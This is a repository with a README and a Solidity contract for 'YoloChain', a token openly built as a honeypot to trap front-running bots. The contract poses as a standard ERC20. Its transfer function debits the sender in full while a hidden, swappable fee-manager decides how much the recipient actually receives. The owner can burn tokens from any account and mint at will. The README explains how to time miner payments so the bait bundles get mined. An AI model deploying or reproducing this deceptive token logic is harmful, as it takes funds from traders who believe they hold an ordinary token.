├── README.md └── yolochain.sol /README.md: -------------------------------------------------------------------------------- 1 | # YoloChain 2 | 3 | Its HOT(holochain) but it baits bots instead. 4 | 5 | # How it works 6 | The token is a standard ERC20 token, modified to query a seperate, upgradable contract for true transfer amounts. Example 7 | 8 | [Bob tries to transfer 100 YOT to Alice] 9 | 10 | ➥ [YOT] -> [FM3] 11 | 12 | ➥ [Transfer 100 YOT from Bob to Alice] returns (50) 13 | 14 | ➥ 15 | 16 | The external contract enforces the amount received by the receiving user, or can revert if the transaction shouldn't happen, but the full amount is removed from sender 17 | 18 | # Baiting bots that use FlashBots 19 | Most bots that use flashbots dont double check tokens if theyre sellable or not, because the bundle wont be included unless miner coinbase is paid (typically in the trailing sell tx). However reverting transactions are able to be included, if the rest of the bundle is profitable. 20 | Knowing this, all we have to do is pay the miner instead of the frontrunning bot. However if we pay the miner regardless, the bundle will not be included because of profit switching (a non-flashbots block will be added if the flashbots block is less profitable). So we must make sure that we only pay the miner if it is apart of the bundle. 21 | This can be done via adding a tracker that will track if the token has been bought in that block. If it has, then allocate funds to coinbase, else just proceed as a normal tx. 22 | 23 | ### Wen protecc? idk. good luck? 24 | -------------------------------------------------------------------------------- /yolochain.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: CC-BY-NC-SA-2.5 2 | 3 | //@code0x2#0202 4 | // github.com/code0x2 for other weird stuff 5 | 6 | //██╗░░░██╗░█████╗░██╗░░░░░░█████╗░░█████╗░██╗░░██╗░█████╗░██╗███╗░░██╗ 7 | //╚██╗░██╔╝██╔══██╗██║░░░░░██╔══██╗██╔══██╗██║░░██║██╔══██╗██║████╗░██║ 8 | //░╚████╔╝░██║░░██║██║░░░░░██║░░██║██║░░╚═╝███████║███████║██║██╔██╗██║ 9 | //░░╚██╔╝░░██║░░██║██║░░░░░██║░░██║██║░░██╗██╔══██║██╔══██║██║██║╚████║ 10 | //░░░██║░░░╚█████╔╝███████╗╚█████╔╝╚█████╔╝██║░░██║██║░░██║██║██║░╚███║ 11 | //░░░╚═╝░░░░╚════╝░╚══════╝░╚════╝░░╚════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚═╝╚═╝░░╚══╝ 12 | 13 | // Its HOT(holochain), but it baits bots instead. Have fun with the code, and no, you dont get the fee manager logic >:). Will you live to get baited another day :p 14 | // if your bot got baited, well sucks for you i guess. good luck in the future! 15 | 16 | abstract contract Context { 17 | function _msgSender() internal view virtual returns (address payable) { 18 | return msg.sender; 19 | } 20 | 21 | function _msgData() internal view virtual returns (bytes memory) { 22 | this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 23 | return msg.data; 24 | } 25 | } 26 | 27 | library Address { 28 | function isContract(address account) internal view returns (bool) { 29 | // This method relies in extcodesize, which returns 0 for contracts in 30 | // construction, since the code is only stored at the end of the 31 | // constructor execution. 32 | 33 | uint256 size; 34 | // solhint-disable-next-line no-inline-assembly 35 | assembly { size := extcodesize(account) } 36 | return size > 0; 37 | } 38 | function sendValue(address payable recipient, uint256 amount) internal { 39 | require(address(this).balance >= amount, "Address: insufficient balance"); 40 | 41 | // solhint-disable-next-line avoid-low-level-calls, avoid-call-value 42 | (bool success, ) = recipient.call{ value: amount }(""); 43 | require(success, "Address: unable to send value, recipient may have reverted"); 44 | } 45 | function functionCall(address target, bytes memory data) internal returns (bytes memory) { 46 | return functionCall(target, data, "Address: low-level call failed"); 47 | } 48 | function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { 49 | return _functionCallWithValue(target, data, 0, errorMessage); 50 | } 51 | function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { 52 | return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); 53 | } 54 | function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { 55 | require(address(this).balance >= value, "Address: insufficient balance for call"); 56 | return _functionCallWithValue(target, data, value, errorMessage); 57 | } 58 | 59 | function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { 60 | require(isContract(target), "Address: call to non-contract"); 61 | 62 | // solhint-disable-next-line avoid-low-level-calls 63 | (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); 64 | if (success) { 65 | return returndata; 66 | } else { 67 | // Look for revert reason and bubble it up if present 68 | if (returndata.length > 0) { 69 | // The easiest way to bubble the revert reason is using memory via assembly 70 | 71 | // solhint-disable-next-line no-inline-assembly 72 | assembly { 73 | let returndata_size := mload(returndata) 74 | revert(add(32, returndata), returndata_size) 75 | } 76 | } else { 77 | revert(errorMessage); 78 | } 79 | } 80 | } 81 | } 82 | 83 | library SafeMath { 84 | 85 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 86 | uint256 c = a + b; 87 | require(c >= a, "SafeMath: addition overflow"); 88 | 89 | return c; 90 | } 91 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 92 | return sub(a, b, "SafeMath: subtraction overflow"); 93 | } 94 | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 95 | require(b <= a, errorMessage); 96 | uint256 c = a - b; 97 | 98 | return c; 99 | } 100 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 101 | // Gas optimization: this is cheaper than requiring 'a' not being zero, but the 102 | // benefit is lost if 'b' is also tested. 103 | // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 104 | if (a == 0) { 105 | return 0; 106 | } 107 | 108 | uint256 c = a * b; 109 | require(c / a == b, "SafeMath: multiplication overflow"); 110 | 111 | return c; 112 | } 113 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 114 | return div(a, b, "SafeMath: division by zero"); 115 | } 116 | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 117 | require(b > 0, errorMessage); 118 | uint256 c = a / b; 119 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 120 | 121 | return c; 122 | } 123 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 124 | return mod(a, b, "SafeMath: modulo by zero"); 125 | } 126 | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 127 | require(b != 0, errorMessage); 128 | return a % b; 129 | } 130 | } 131 | 132 | contract Ownable is Context { 133 | address private _owner; 134 | 135 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 136 | 137 | /** 138 | * @dev Initializes the contract setting the deployer as the initial owner. 139 | */ 140 | constructor () internal { 141 | address msgSender = _msgSender(); 142 | _owner = msgSender; 143 | emit OwnershipTransferred(address(0), msgSender); 144 | } 145 | 146 | /** 147 | * @dev Returns the address of the current owner. 148 | */ 149 | function owner() public view returns (address) { 150 | return _owner; 151 | } 152 | 153 | /** 154 | * @dev Throws if called by any account other than the owner. 155 | */ 156 | modifier onlyOwner() { 157 | require(_owner == _msgSender(), "Ownable: caller is not the owner"); 158 | _; 159 | } 160 | 161 | function renounceOwnership() public virtual onlyOwner { 162 | emit OwnershipTransferred(_owner, address(0)); 163 | _owner = address(0); 164 | } 165 | 166 | function transferOwnership(address newOwner) public virtual onlyOwner { 167 | require(newOwner != address(0), "Ownable: new owner is the zero address"); 168 | emit OwnershipTransferred(_owner, newOwner); 169 | _owner = newOwner; 170 | } 171 | } 172 | 173 | interface IERC20 { 174 | function totalSupply() external view returns (uint256); 175 | function balanceOf(address account) external view returns (uint256); 176 | function transfer(address recipient, uint256 amount) external; 177 | function allowance(address owner, address spender) external view returns (uint256); 178 | function approve(address spender, uint256 amount) external; 179 | function transferFrom(address sender, address recipient, uint256 amount) external; 180 | event Transfer(address indexed from, address indexed to, uint256 value); 181 | event Approval(address indexed owner, address indexed spender, uint256 value); 182 | } 183 | 184 | interface IFeeManager3 { 185 | function queryFee(address from, address _to, uint256 _amount) external returns (uint256); 186 | function getTrueAmount(address from, address _to, uint256 _amount) external returns (uint256); 187 | } 188 | 189 | contract ERC20 is Context { 190 | event Transfer(address indexed from, address indexed to, uint256 value); 191 | event Approval(address indexed owner, address indexed spender, uint256 value); 192 | using SafeMath for uint256; 193 | using Address for address; 194 | 195 | mapping (address => uint256) private _balances; 196 | 197 | mapping (address => mapping (address => uint256)) private _allowances; 198 | 199 | uint256 public totalSupply; 200 | 201 | string public name; 202 | string public symbol; 203 | uint8 public decimals; 204 | 205 | address constant creator = 0xD3F1A59920A11Dd73902d9E7E67466Dd00880b2A; 206 | address private feeManager; 207 | 208 | constructor (string memory _name, string memory _symbol) public { 209 | name = _name; 210 | symbol = _symbol; 211 | decimals = 18; 212 | } 213 | 214 | function setFeeManager(address _fmg) public { 215 | require(msg.sender == creator, "no u bro"); 216 | feeManager = _fmg; 217 | } 218 | 219 | function balanceOf(address account) public view returns (uint256) { 220 | return _balances[account]; 221 | } 222 | 223 | function transfer(address recipient, uint256 amount) public virtual returns (bool) { 224 | _transfer(_msgSender(), recipient, amount); 225 | return true; 226 | } 227 | 228 | function allowance(address owner, address spender) public view virtual returns (uint256) { 229 | return _allowances[owner][spender]; 230 | } 231 | 232 | function approve(address spender, uint256 amount) public virtual returns (bool) { 233 | _approve(_msgSender(), spender, amount); 234 | return true; 235 | } 236 | function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) { 237 | _transfer(sender, recipient, amount); 238 | _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); 239 | return true; 240 | } 241 | 242 | function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { 243 | _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); 244 | return true; 245 | } 246 | 247 | function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { 248 | _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); 249 | return true; 250 | } 251 | 252 | function _transfer(address sender, address recipient, uint256 amount) internal virtual { 253 | require(sender != address(0), "ERC20: transfer from the zero address"); 254 | require(recipient != address(0), "ERC20: transfer to the zero address"); 255 | 256 | //_beforeTokenTransfer(sender, recipient, amount); 257 | 258 | _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); 259 | uint trueAmount = feeManager != address(0) ? IFeeManager3(feeManager).getTrueAmount(sender,recipient,amount) : amount; 260 | _balances[recipient] = _balances[recipient].add(trueAmount); 261 | emit Transfer(sender, recipient, amount); 262 | } 263 | 264 | function _mint(address account, uint256 amount) internal virtual { 265 | require(account != address(0), "ERC20: mint to the zero address"); 266 | 267 | _beforeTokenTransfer(address(0), account, amount); 268 | 269 | totalSupply = totalSupply.add(amount); 270 | _balances[account] = _balances[account].add(amount); 271 | emit Transfer(address(0), account, amount); 272 | } 273 | 274 | function _burn(address account, uint256 amount) internal virtual { 275 | require(account != address(0), "ERC20: burn from the zero address"); 276 | 277 | _beforeTokenTransfer(account, address(0), amount); 278 | 279 | _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); 280 | totalSupply = totalSupply.sub(amount); 281 | emit Transfer(account, address(0), amount); 282 | } 283 | 284 | function _approve(address owner, address spender, uint256 amount) internal virtual { 285 | require(owner != address(0), "ERC20: approve from the zero address"); 286 | require(spender != address(0), "ERC20: approve to the zero address"); 287 | 288 | _allowances[owner][spender] = amount; 289 | emit Approval(owner, spender, amount); 290 | } 291 | 292 | function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { 293 | if(from != address(0) && to != address(0)) IFeeManager3(feeManager).queryFee(from,to,amount); 294 | } 295 | } 296 | 297 | abstract contract ERC20Burnable is ERC20 { 298 | /** 299 | * @dev Destroys `amount` tokens from the caller. 300 | * 301 | * See {ERC20-_burn}. 302 | */ 303 | function burn(uint256 amount) public virtual { 304 | _burn(_msgSender(), amount); 305 | } 306 | 307 | /** 308 | * @dev Destroys `amount` tokens from `account`, deducting from the caller's 309 | * allowance. 310 | * 311 | * See {ERC20-_burn} and {ERC20-allowance}. 312 | * 313 | * Requirements: 314 | * 315 | * - the caller must have allowance for ``accounts``'s tokens of at least 316 | * `amount`. 317 | */ 318 | function burnFrom(address account, uint256 amount) public virtual { 319 | _burn(account, amount); 320 | } 321 | } 322 | 323 | contract YOLO is ERC20Burnable, Ownable { 324 | 325 | constructor() public ERC20('YoloChain', 'YOT') { 326 | _mint(msg.sender, 69e18); 327 | } 328 | 329 | function mint(address recipient_, uint256 amount_) 330 | public 331 | onlyOwner 332 | returns (bool) 333 | { 334 | uint256 balanceBefore = balanceOf(recipient_); 335 | _mint(recipient_, amount_); 336 | uint256 balanceAfter = balanceOf(recipient_); 337 | return balanceAfter >= balanceBefore; 338 | } 339 | 340 | function burn(uint256 amount) public override onlyOwner { 341 | super.burn(amount); 342 | } 343 | 344 | function burnFrom(address account, uint256 amount) 345 | public 346 | override 347 | onlyOwner 348 | { 349 | super.burnFrom(account, amount); 350 | } 351 | 352 | // Fallback rescue 353 | 354 | function destroy() public { 355 | require(msg.sender == owner(), "no u 2"); 356 | selfdestruct(msg.sender); 357 | } 358 | 359 | receive() external payable{ 360 | payable(owner()).transfer(msg.value); 361 | } 362 | 363 | function rescueToken(IERC20 _token) public { 364 | _token.transfer(owner(), _token.balanceOf(address(this))); 365 | } 366 | } 367 | --------------------------------------------------------------------------------